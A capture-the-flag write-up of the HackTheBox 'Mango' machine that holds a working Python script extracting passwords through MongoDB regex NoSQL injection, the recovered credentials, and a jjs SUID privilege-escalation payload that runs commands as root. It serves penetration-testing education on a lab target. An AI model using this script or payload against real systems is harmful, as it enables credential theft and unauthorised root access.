Mango – HackTheBox WriteUp

Summary
Mango just retired today. I had lots of fun solving it and I finally learned about NoSQL injections. Its IP address is ‘10.10.10.162’ and I added it to ‘/etc/hosts’ as ‘mango.htb’. Without further ado, let’s jump right in!
Scanning & Sub-Domain Enum
As always, a light nmap scan was enough to get me started:
root@fury-battlestation:~/htb/blog/mango# nmap -O -sV mango.htb -oN scan.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 11:45 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/29%OT=22%CT=1%CU=32119%PV=Y%DS=2%DC=I%G=Y%TM=5E08D8
OS:62%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)SEQ(SP=
OS:104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.06 seconds
root@fury-battlestation:~/htb/blog/mango#
When I tried accessing port 80, I got a 403 error:

However, port 443 returned a funny clone of Google called ‘Mango’:

Before testing this app for vulnerabilities, I mad sure the HTTPS certificate couldn’t be used to find other domains:
root@fury-battlestation:~/htb/blog/mango# nmap --script=ssl-cert -p 443 mango.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 11:50 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.12s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after: 2020-09-26T14:21:19
| MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
root@fury-battlestation:~/htb/blog/mango#
The script discovered a sub-domain, so I tied accessing it. However, the page was identical to the one I got before:

After searching round for a bit, I realized I haven’t accessed the new sub-domain via HTTP yet. I did that and discovered a new sub-domain:

Exploiting MongoDB
Since the machine name is Mango, I though that the backend database engine is almost certainly MongoDB. I used this cheatsheet to test for a possible NoSQL injection, and I found one :). I then tried logging in with multiple usernames and found that ‘mango’ was a valid one. The script below gave me the password for that user:
import requests
import sys
import hashlib
import string
import progressbar
url = "http://staging-order.mango.htb/"
login = "login"
username = "mango"
alphabet = string.printable.replace("*", "").replace("+", "").replace(".", "").replace("?", "").replace("|", "")
pwd = ""
def isPartialPassword(pwd):
r = requests.post(url, data={'login': 'login', 'username': username, 'password[$regex]': "^" + pwd}, allow_redirects=False)
return r.status_code == 302
def isFullPassword(pwd):
r = requests.post(url, data={'login': 'login', 'username': username, 'password': pwd}, allow_redirects=False)
return r.status_code == 302
while not isFullPassword(pwd):
print("Searching for char...")
bar = progressbar.ProgressBar(max_value=len(alphabet))
bar.update(0)
for ch in alphabet:
if isPartialPassword(pwd + ch):
pwd += ch
print("New password: {}".format(pwd))
break
bar.update(alphabet.find(ch))
print("Password for {}: {}".format(username, pwd))
After letting it run for a few minutes, I got the user’s password:
root@fury-battlestation:~/htb/blog/mango# python login.py
Searching for char...
16% (16 of 95) |####### | Elapsed Time: 0:00:07 ETA: 0:00:31
[...]
New password: h3mXK8RhU~f{]f5
Searching for char...
44% (42 of 95) |################### | Elapsed Time: 0:00:23 ETA: 0:00:28
New password: h3mXK8RhU~f{]f5H
Password for mango: h3mXK8RhU~f{]f5H
root@fury-battlestation:~/htb/blog/mango#
I used ‘h3mXK8RhU~f{]f5H’ to log in to the application and I got the following page:

I tried seeing if there is any user named ‘admin’, and there was. His password might come in handy, so I used the same script to get his password (I just changed the username variable from “mango” to “admin”):
root@fury-battlestation:~/htb/blog/mango# sed -i 's/username = "mango"/username = "admin"/g' login.py
root@fury-battlestation:~/htb/blog/mango# python login.py
Searching for char...
29% (28 of 95) |############ | Elapsed Time: 0:00:14 ETA: 0:00:38
New password: t
[...]
New password: t9KcS3>!0B#
Searching for char...
1% (1 of 95) | | Elapsed Time: 0:00:00 ETA: 0:01:30
New password: t9KcS3>!0B#2
Password for admin: t9KcS3>!0B#2
root@fury-battlestation:~/htb/blog/mango#
However, the admin page looked exactly the same:

Getting user.txt
After a bit of playing around, I tried to log in with SSH using the website credentials. It worked, but only for the mango user:
root@fury-battlestation:~/htb/blog/mango# ssh mango@mango.htb
mango@mango.htb;s password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.
https://ubuntu.com/kubernetes/docs/release-notes
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Dec 29 17:19:49 2019 from 10.10.14.28
mango@mango:~$ ls ~
mango@mango:~$
There was no ‘user.txt’ file, so I enumerated the users on the machine:
mango@mango:~$ ls -l /home
total 8
drwxr-xr-x 2 admin admin 4096 Sep 30 03:20 admin
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 mango
mango@mango:~$
There was an user called admin, so I tried using su to pivot to his account (I used admin’s web platform password):
mango@mango:~$ su -l admin
Password:
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@mango:/home/admin$ wc -c user.txt
33 user.txt
admin@mango:/home/admin$
The user proof starts with ’79’ 😉
Exploiting jjs to get root
Once I submitted the user proof, I started enumerating the machine again. While reading through the SUID binaries, one stood out:
admin@mango:/home/admin$ find / -perm -4000 2> /dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
[not_important_binaries]
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
admin@mango:/home/admin$
I didn’t know what ‘jjs’ was, so I searched Google and I found the following explanation on Oracle’s site:
The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.
Link
Helpful, as always : | . Fortunately, I also found the jjs binary on GTFOBins. The basic idea is that an attacker can execute a specially crafted Java program that executes bash commands. |
admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /root/root.txt /home/admin/yakuhito').waitFor()
0
jjs> admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /hdmin/yakuhito').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod 777 /home/admin/yakuhito').waitFor()
0
jjs> admin@mango:/home/admin$ wc -c /home/admin/yakuhito
33 /home/admin/yakuhito
admin@mango:/home/admin$
The first two characters of the root proof are ‘8a’ 😉
If you liked this post and want to support me, please follow me on Twitter 🙂
Until next time, hack the world.
yakuhito, over.